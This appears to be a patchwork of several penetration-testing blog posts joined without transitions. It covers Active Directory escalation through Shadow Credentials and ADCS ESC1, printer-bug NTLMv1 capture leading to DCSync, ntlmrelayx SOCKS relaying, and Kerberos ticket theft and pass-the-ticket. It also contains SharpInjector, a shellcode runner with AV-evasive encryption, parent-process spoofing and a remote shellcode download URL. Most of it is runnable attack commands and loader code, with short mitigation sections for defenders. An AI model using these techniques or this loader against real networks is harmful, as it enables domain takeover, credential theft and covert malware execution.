After the Shadow Credentials have been set, we can use the PKINITtools suite to request a TGT as REDANIA\Ori. The gettgtpkinit.py script used with references to the PFX file and password generated with PyWhisker will result in a valid TGT for Ori:

Exploiting the Certificate Template Configuration

Returning to our main objective, ADCS, we have now compromised an account belonging to the Tier 1 Admins group, which can enroll in the certificate identified earlier. Certi will be used to perform ADCS exploitation through the SOCKS proxy. Again, start by exporting the latest Kerberos TGT we obtained. The certi.py arguments are specifying my lab’s CA server (Tretogor, which doubles as a CA and DC), Kerberos authentication, the SAN (we want a certificate for REDANIA\Administrator) and the vulnerable template to enroll in:

In the output we can see the certificate was successfully issued and saved in a file. (This escalation vector corresponds to ESC1 in the white paper.) The previous process for requesting a TGT using PKINIT can be repeated to obtain a TGT for REDANIA\Administrator, but this time pass in the certificate issued by the CA in the arguments:

I will verify the validity of the TGT by opening a wmiexec shell on one of the lab DCs as REDANIA\Administrator:

Success! We’ve found a way to obtain domain admin rights using multiple PKINIT based exploitation methods. Most of these concepts and tools have only been recently published (at least publicly) and after gaining familiarity with them, I believe they will be strong tactics in the offensive arsenal moving forward.

Cleaning Up the Shadow Credentials

The last important note is that the KeyCredential we set with PyWhisker can be safely be removed using the remove action in conjunction with the DeviceID corresponding to the KeyCredential we generated. After removal, we can verify it no longer exists with the list action.

Mitigation and Detection Strategies

Several high-level strategies that could be used to remediate or alert on activity performed in the described scenario are below.

ADCS:

• Removal of the ENROLLEE_SUPPLIES_SUBJECT flag will prevent certificates from being obtained as any domain account.

• If the ENROLLEE_SUPPLIES_SUBJECT flag cannot be removed, requiring certificate manager approval before a certificate is issued will help mitigate the risk posed by the presence of the flag.

• Restrict enrollment rights to only users and groups that absolutely require access.Monitor certificate enrollments (event ID 4886) – Important to note here that the event logs do not contain all data related to the certificate, such as the SAN.

Shadow Credentials:

• Perform attack pathfinding using BloodHound and remove unneeded ACL abuse avenues, specifically GenericAll, WriteOwner and WriteDACL relationships.

• Monitor for Kerberos TGTs requested(event ID 4768) using PKINIT authentication, if the behavior is not standard for the network environment or account.

• Monitor for AD object modifications (event ID 5136) where the attribute being modified is msDS-KeyCredentialLink.

References

• https://specterops.io/assets/resources/Certified_Pre-Owned.pdf

• https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

• https://www.thehacker.recipes/ad-ds/movement/kerberos/shadow-credentials

• https://twitter.com/_nwodtuhs/status/1422304102915182593

• https://github.com/GhostPack/Certify

• https://github.com/eladshamir/Whisker

• https://github.com/ShutdownRepo/pywhisker

• https://github.com/GhostPack/Rubeus

• https://github.com/dirkjanm/PKINITtools

• https://github.com/eloypgz/certi

• https://github.com/BloodHoundAD

On multiple penetration test engagements in the last few months, I have encountered what I previously thought to be a rather rare attack vector: the usage of the printer bug to trigger and capture NTLMv1 (Net-NTLMv1) authentication from a Windows Active Directory Domain Controller. As a penetration tester, the misconfigurations this attack relies on what will be out of your control. However, if successful, this attack lets you elevate to Domain Administrator from any set of compromised domain credentials.

As this is not a new attack vector (you can find another great guide to this attack here), this post will serve to demonstrate the attack while also documenting how to remediate the vulnerability though Group Policy.

Attack Environment Setup

For the attack to be successful, there are (4) requirements:

1. Any valid domain account credentials

2. Network connectivity to the targets SMB (Server Message Block) Service.

3. The target host must be running the Print Spooler service

4. The target host must be allowed to send NTLMv1 responses (cannot be set to enforce NTLMv2 responses)

The first two requirements are a low barrier for most penetration tests. The last two will simply depend on the current network environment. Permitting NTLMv1 authentication is an insecure policy that might be encountered elsewhere on a penetration test (LLMNR and NBT-NS poisoning attacks), but it’s particularly impactful if it can be leveraged in conjunction with the printer bug.

In my lab setup, I will be working with credentials for WINDOMAIN.LOCAL\lowprivuser and targeting the host DC.WINDOMAIN.LOCAL. To verify the Print Spooler is running on the target, DC.WINDOMAIN.LOCAL, I will check services.msc

This can also be done via the command line using sc query:

PowerShell’s Get-PrinterPort can be used to check if Spooler is running on a remote host. The example below uses Cobalt Strike’s powerpick beacon command. (A bunch of errors will be encountered if the remote host is not running Print Spooler.)

To determine if NTLM responses can be sent, I will check secpol.msc at Security Settings\Local Policies\Security Options\Network security: LANManager authentication level. Vulnerable settings can be any of the following:

- Send LM& NTLM responses

- Send LM& NTLM – use NTLMv2 session security if negotiated

- SendNTLM responses only.

This can also be done via command line using reg query:

Microsoft’s mapping of LmCompatibilityLevel settings to registry values can be found here.

Seatbelt, from the GhostPack toolkit, has a NTLMSettings command that can be used to check the LmCompatibilityLevel setting on a remote host. The example below uses Cobalt Strike’s execute-assembly beacon command to run Seatbelt.

Attack Demo

For testing and exploitation, I will use printerbug.py from the krbrelayx toolkit to coerce authentication and Responder to capture it. The printer bug is a “feature” of the MS-RPRN protocol (PrintSystem Remote Protocol), through which any domain user can remotely force a target running the Print Spooler service to authenticate to an arbitrary IP address.

First, ensure that Responder’s challenge is set to 1122334455667788 in Responder.conf:

Then kick off Responder: ./Responder.py -I <Interface>

And finally, trigger authentication using the printer bug with any domain user credentials (I will be using WINDOMAIN.LOCAL\lowprivuser):

python3 printerbug.py<domain>/<username>:<password>@<target> <IP ofResponder listener>

It will look like this if successful:

So, what happened? The printer bug caused the target to authenticate back to the attacker-supplied IP, where the machine account’s hash was captured with Responder. The hash type is identified as NTLMv1-SSP, which is important because the attack cannot proceed if a NTLMv2 (Net-NTLMv2) hash is captured instead. Also, notice how the two response portions of the hash do not match

This is because the captured hash is NTLMv1 with SSP (Security Support Provider), which changes the server challenge and is not quite ideal for the attack. We can use Responder’s LanMan downgrade flag to get a NTLMv1 hash without SSP.

Note: The lab DC is running Windows Server 2016. The LanMan downgrade portion of the attack may not work against Windows Server 2019 or newer.

Let’s restart Responder, including the LanMan downgrade flag: ./Responder -I <Interface> --lm

Now the printer bug can be triggered again to capture a plain NTLMv1 hash, without SSP. Notice how the two response portions of the hash are now identical:

Now that the DC’s NTLMv1 hash has been captured, it can be cracked back into a plain NTLM hash, compatible with pass-the-hash attacks. This can be done quickly by submitting NTHASH:<response> to crack.sh, which uses rainbow tables, or by manually reconstructing the NTLM hash from its DES elements using hashcat and EvilMog’s ntlmv1-multi tool (my hashcat rig with an NVIDIA 3090 takes around 16 days to brute-force the needed DES hashes). Either method will allow you to obtain the machine account’s NTLM hash for pass-the-hash attacks

Impact

Once the DC’s NTLM hash has been reconstructed, a DCSync attack can be executed to steal the NTLM hash of a Domain Administrator (or any desired user). In short, a DCSync attack allows an attacker to emulate the behavior of a domain controller by requesting the replication of a user object from a DC. The data returned from the attack includes the current password hash for the targeted account. In my lab, I have used the compromised DC hash to run a DCSync attack targeting the domain administrator, vagrant:

Side note: the target host in the lab is a domain controller, which makes the DCSync attack possible once the machine account’s NTLM hash is compromised. If the target is not a domain controller, a silver ticket can be constructed instead, granting admin access to the host.

Remediation

There are two (2) configuration issues to address, both of which can be changed via Group Policy:

1. Enforcing the usage of NTLMv2 authentication -The NTLMv2 hashing algorithm does not use an account’s NTLM hash, unlike the NTLMv1 algorithm. The NTLM hash used in pass-the-hash attacks cannot be derived from a NTLMv2 hash.

2. Disabling the Print Spooler service - This service should only be running on print servers. When running, it is possible for any authenticated user to trigger the printer bug.

Technically, addressing either one will negate this attack vector. However, both remediations should be implemented to protect against other attacks that leverage only one of these configurations.

Enforcing NTLMv2

Open gpmc.msc on a domain controller and begin a new group policy linked to the desired OUs (I will add a new GPO titled Enforce NTLMv2, linked to the Domain Controllers OU).

The setting to edit is ComputerConfiguration\Policies\Windows Settings\Security Settings\Local Policies\SecurityOptions\Network security: LAN Manager authentication level. Setting this to any of the three (3) options that specify Send NTLMv2 response only will prevent NTLMv1 authentication from being used

Warning: If any applications rely on NTLMv1 authentication, this GPO will break that functionality. It is recommended to test this policy before deploying across the environment.‍

After running a quick gpupdate from a command prompt, executing the printer bug confirms that a NTLMv2 hash is now captured:

This NTLMv2 hash cannot be used in the NTLM downgrade attack and should not be cracked since its password is set by Windows. Now that NTLMv2 is required, an additional policy can be created to prevent the printer bug from coercing authentication.

Disabling the Print Spooler Service

Open gpmc.msc on a domain controller and begin a new group policy linked to the desired OUs. In the lab, I will add a new GPO titled Disable Print Spooler, linked to the Domain Controllers OU.

The setting to edit is ComputerConfiguration\Policies\Windows Settings\Security Settings\System Services\PrintSpooler. Set this to Disabled to stop the service from running and prevent the printer bug from being leveraged.

Warning: The Print Spooler service is responsible for handling print job management. Disabling this service on print servers may result in a loss of functionality.

After running another gpupdate from a command prompt, testing the printer bug confirms that it fails to execute, as no authentication is captured:

Wrap-Up

This is a sneaky good privilege escalation vector that is often overlooked during internal engagements. While applying either one of the discussed remediations to a host will protect against this attack, I highly encourage both remediations to be deployed as widely as organizational requirements will allow for.

References

https://github.com/NotMedic/NetNTLMtoSilverTicket

https://crack.sh/netntlm/

https://github.com/lgandx/responder

https://github.com/dirkjanm/krbrelayx

https://github.com/leechristensen/SpoolSample

https://twitter.com/tifkin_/status/1407044550015782915

https://github.com/GhostPack/Seatbelt

Traditional Relay

Let’s start with the way I’ve always run relay attacks in the past and a scenario in which utilzing the SOCKS feature becomes super beneficial.

As always, get Responder configured with SMB and HTTP off in Responder.conf:

[Responder Core]

; Servers to start
SQL = On
SMB = Off
RDP = On 
Kerberos = On
FTP = On 
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On  
LDAP = On

Then we’ll start Responder:

sudo responder -I eth0 -w

We can start the relay now; I’ve thrown 1 IP into a text file to target:

sudo python3 ntlmrelayx.py -tf ~/Desktop/targets -smb2support

The attack is all ready, just need to simulate some traffic we can poison:

We see Responder pick up on the requests:

And ntlmrelayx dumping the local account hashes with the relay:

Unfortunately for us, we can guess that the built-in local Administrator account is disabled since its NTLM hash, starting with 31d6c, looks like the hash for a null/blank password. Usually this indicates the account is disabled (quite common in client environments) and that a custom local administrator account is used.

This is likely the radovid account we saw dumped. This hash is less helpful for us since the account can’t obtain admin context over pass-the-hash:

We can successfully authenticate, but we’re missing the yellow (Pwn3d!) CrackMap uses to denote admin rights. This is because non-RID 500 local accounts have their admin rights “filtered” away when logging in using methods like SMB. The registry key that controls this is LocalAccountTokenFilterPolicy found at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System. The value is set to 0 on our target, meaning token filtering will take place:

I do occasionally see machines with this set to 1 meaning PTH still yields admin access, but since it’s not, we’re a little stuck without cracking the hash and claiming the cleartext password. This is a prime situation to use the SOCKS feature of ntlmrelayx.

SOCKS Relay

We’ll restart the relay with the -socks flag:

sudo python3 ntlmrelayx.py -tf ~/Desktop/targets -socks -smb2support

Trigger the LLMNR/NBT-NS requests again, and we see the connection in the relay window, but no local account hashes:

If we type socks into our relay prompt, we can see the active connections available, and if the session has admin rights on the target:

Since we have an available session, we can start using proxychains to take advantage of our admin rights on the target. Before we do, make sure /etc/proxychains.conf is configured to use port 1080.

CrackMapExec

CME is usually my tool of choice so lets cover it first. Two things to note when running CME (and other tools) through proxychains with a SOCKS relay:

1. We need to specify domain and username exactly how ntlmrelayx shows. If you look back at the screenshot of our available sessions, the username for the session shows REDANIA/VIZIMIR. We need to be aware of this - for example, if we don’t specify REDANIA as the domain, CME will default to REDANIA.local and the SOCKS session will not be utilizied properly.

2. The password we provide is arbitrary since the SOCKS proxy is going to use the session we gained from relaying auth previously. In my examples, the password used in commands is not the real password.

Knowing this, lets test CME:

We have limited functionality with CME; smbexec may work, but wmiexec and atexec will fail since more than port 445 is used. But, we could still obtain local account hashes with --sam and registry secrets with --lsa (we could also use secretsdump.py directly). We already established that the local account hashes won’t help us much here, so lets check for LSA secrets:

smbclient

In some environments I’ve gotten smbclient to work with the SOCKS proxy auth, however, here in my lab it’s decided not to:

If it does work, we could PUT/GET files from the C drive. Useful for potentially uploading procdump or downloading sensitive files.

smbmap

Well, if smbclient didn’t work, smbmap won’t either… right?

Wrong, for reasons unknown to me, smbmap can read the C drive in my setup, but smbclient can’t. Maybe I was using smbclient wrong, but like I said, I’ve had it work before. At any rate, we could use smbmap to accomplish the same functionality we desired with smbclient.

smbexec

Similar to the oddities with smbclient, I’ve had issues with smbexec.py not working in every environment. But we should be able to obtain and interactive session using it. We can specify -no-pass here since the password we supply when prompted won’t matter:

Seems to be working well here. We should also be able to use smbexec through CME with --exec-method smbexec if you don’t desire an interactive shell.

What if smbexec fails?

Say smbexec did fail on us, is all hope of getting remote command execution lost? Nope, remember when we dumped LSA secrets with CME? We’ve got the machine account NTLM hash so we can make ourselves a silver ticket and get access that way - actually breaking out of the port 445 restriction currently imposed on us by the SOCKS proxy (no need for proxychains if we go this route).

Here’s the important line from the LSA dump:

REDANIA\NOVIGRAD$:aad3b435b51404eeaad3b435b51404ee:d864dc1f5426f154b74479b5e371a79d:::

And creation of the silver ticket (assuming you’ve gotten the domain SID through some other means):

We set the KRB5CCNAME variable, so let’s test access using Kerberos auth, outside of our proxychains setup:

:)

Of course, there are other ways you could utilize the SOCKS feature of ntlmrelayx, but the flexibility demonstrated here is why I’ve made this my preferred relay method.

The SharpInjector project is my inital attempt at writing a custom shellcode runner in the same vein as those projects (lots of inspiration drawn from them, as well as this DEFCON workshop for help learning parent process ID spoofing). Below is a quick run through of setup/usage, highlighting some of the customization options along the way.

The code repository can be found here.

Prepping the Shellcode

The final SharpInjector payload will contain encrypted shellcode, decrypt it and perform the injection. So we’ll need to get some encrypted shellcode into the solution to start.

Generate your shellocde - I’ll do this in Cobalt Strike: Attacks > Packages > Windows Executable (S)

Clone the project and transfer your .bin file over the the system you’re generating the payload on.

git clone https://github.com/tw1sm/SharpInjector.git

Open up the ScEncryptor project and edit Program.cs. On line 34, edit the encryption key variable:

public static string Enc(string data)
        {
            string enc = "";
            string key = "01010101010101010101010101010101"; // CHANGE THIS TO A 16/24/32 BYTE VALUE

Build the ScEncryptor project.

Run ScEncryptor.exe and supply the path of your shellcode .bin as the sole argument:

Your shellcode will be encrypted, then base64 encoded and the resulting string will automatically be placed into the SharpInjector project in Shellycode.cs:

namespace SharpInjector
{
    class EncryptedShellcode
    {
        public string EncSc = "Od/HuzTqISDnPNtgmoUZ2c8" //SNIPPED
    }
}

You can choose to leave the encrypted shellcode within this file and contiune customizing the project. However, if you don’t want to include the shellcode string in the final binary, you can copy the base64 string out of Shellycode.cs and host a file with the string on the web. If the EncSc var is set to an empty string, your shellcode will be downloaded from a supplied URL at runtime:

namespace SharpInjector
{
    class EncryptedShellcode
    {
        public string EncSc = "" //Has to be blank for download to run
    }
}

This not only has the benefit of excluding the encrypted shellcode from your binary, but it also offers you a sort of “killswitch” for the payload. If you stop hosting your shellcode file at any point, your payload will become a dud. Conversely though, your payload will now be reaching out to the internet, so consider what is best for your situation.

Building the Payload

The shellcode is ready, let’s cutomize the actual payload and build it.

Set the decryption key on line 103 within Program.cs in the SharpInjector project to match your encryption key set in the ScEncryptor project.

// Decryptor func
public static string Dec(string ciphertext)
{
    string key = "01010101010101010101010101010101"; // CHANGE THIS 16/24/32 BYTE VALUE TO MATCH ENCRYPTION KEY

Still within Program.cs, on line 22 set your preferred Windows API call used to execute the shellcode. This is very similar to how DueDlligence offers several execution options - I’ve just expanded on the available options to practice importing API calls in C#.

const ExecutionMethod exeMethod = ExecutionMethod.RtlCreateUserThread; // CHANGE THIS; shellcode exectuon method

On lines 24 and 25, set the parent process ID spoofing configs. Line 24 sets the parent process that a child will be spawned from. explorer.exe is a good target for this. On line 25, the ProgramPath variable specifies the child process to launch - this is the process your beacon/shell will live in. Note: PPID spoofing will only be performed if the chosen API call is capable of remote process injection.

string ParentName = "explorer"; // CHANGE THIS: name of parent process
string ProgramPath = @"C:\Program Files\Internet Explorer\iexplore.exe"; // CHANGE THIS: path to process shellcode will be injected into

Lastly, if you’ve chosen to host your shellcode on the web for download, set the ShellcodeUrl variable on line 26. I’m leaving it blank (shellcode included in the binary) for this test, but an example would look like:

string ShellcodeUrl = "https://seetwo-domain.com/shellcodefile"; // CHANGE THIS; URL of encrypted shellcode if downloading from web

Set your build configuration to x64 and build the payload.

Testing Execution

I’ve got the resutling SharpInjector.exe on my target system where I’ll execute it:

And the Cobalt Strike shell caught:

Just to double check how this looks in ProcessExplorer, we can see the HTTPS beacon living in iexplore.exe, which does appear spoofed as a child of our chosen parent, explorer.exe.

Note: If you’re looking for Kerberos delegation background or attack scenarios, this is probably the most helpful post I found.

Stealing a Ticket

First off, we need to obtain a ticket before we can play around with formatting. In the test lab, I’ve got a Windows 10 system configured for unconstrained Kerberos delegation:

Assuming that we’ve already compromised an account with local admin rights to the target, I’ll use Rubeus to extract tickets from memory. This can be done with the monitor command:

Rubeus.exe monitor /interval:1

It may be sufficent to just wait and see what privileged or high-interest users/computers authenticate to our compromised host, or it may be possible to force a sensitive system to authenticate through the printerbug. In this case, I’ve just waited until a domain admin, vizimir, has logged in and pulled their TGT:

Now that we’ve got a ticket, we can explore the various tools that can utilize them and the various ticket formats.

Rubeus (base64 or .kirbi)

We’ll start with the easiest one. Rubeus can import a TGT to the current logon session from either a base64 string or a .kirbi file. We’ll stick with base64 since it’s the most straightforward and also the format in which Rubeus initally presents the ticket to us.

Before we start, let’s verify that our current logon session (as REDANIA\dijkstra) can’t access C$ on the domain controller:

Great, so if we successfully import a Domain Admin’s TGT to our session, we should then be able list folders on the DC.

This is pretty simple with Rubues - all we have to do is supply the base64 ticket to the ptt command:

Rubeus.exe ptt /ticket:<base64 blob>

We can then use the klist command to verify the ticket has been imported to our session:

Rubeus.exe klist

And there we can see the ticket for vizimir successfully imported to our session. Now if we try accessing C$ on the domain controller again, we see it’s successful!

This is a simple test of the new privileges, but we could also use tools like PsExec to remotely execute commands now.

One thing to note with utilizing Kerberos authentication is that Kerberos relies on domain names and DNS entries. If we rerun the dir command and target a host by IP address, NTLM authentication will be used and we’ll be back at access denied:

Mimikatz (.kirbi)

Mimikatz can import Kerberos tickets to the current session in the form of .kirbi files. Before starting, we’ll again verify we don’t have rights on the domain controller:

We can use a PowerShell oneliner to write the base64 ticket grabbed with Rubeus out to a file:

IO.File]::WriteAllBytes("C:\output.kirbi", [Convert]::FromBase64String("<base64 blob>"))

Boot up Mimikatz and import the ticket:

kerberos::ptt <path to kirbi file>

To test if it worked, we’ll start a new command prompt with misc::cmd and verify we can access the DC:

W00t! While we’re here in Mimikatz, we should also be able to perform a dcsync attack:

Impacket and CrackMapExec (.ccache)

This is by far my preferred method for using a stolen ticket, but it’s also the one with the most formatting steps. We need to get the base64 ticket into a .ccache file. We can do this by converting from a .kirbi file, using Impacket’s ticketConverter.py.

First, format the base64 ticket to remove line breaks, spaces, etc. and then decode it with the base64 command, writing the output to a kirbi file:

base64 -d <base64 ticket file> > <output .kirbi> 

Convert to .ccache using Impacket:

python3 ticketConverter.py <input kirbi file> <output ccache file>

Now that the ticket is in the right format, we’re almost ready to use it. We just need to export the KRB5CCNAME variable and set it to the path of our .ccache file:

export KRB5CCNAME=/path/to/ticket.ccache

Setup complete! Impacket and CrackMapExec have a -k flag specifying to use Kerberos authentication. This will draw from the KRB5CCNAME variable we set. Let’s verify we can access the DC:

Again, be careful to use DNS names since using IP addresses will fail: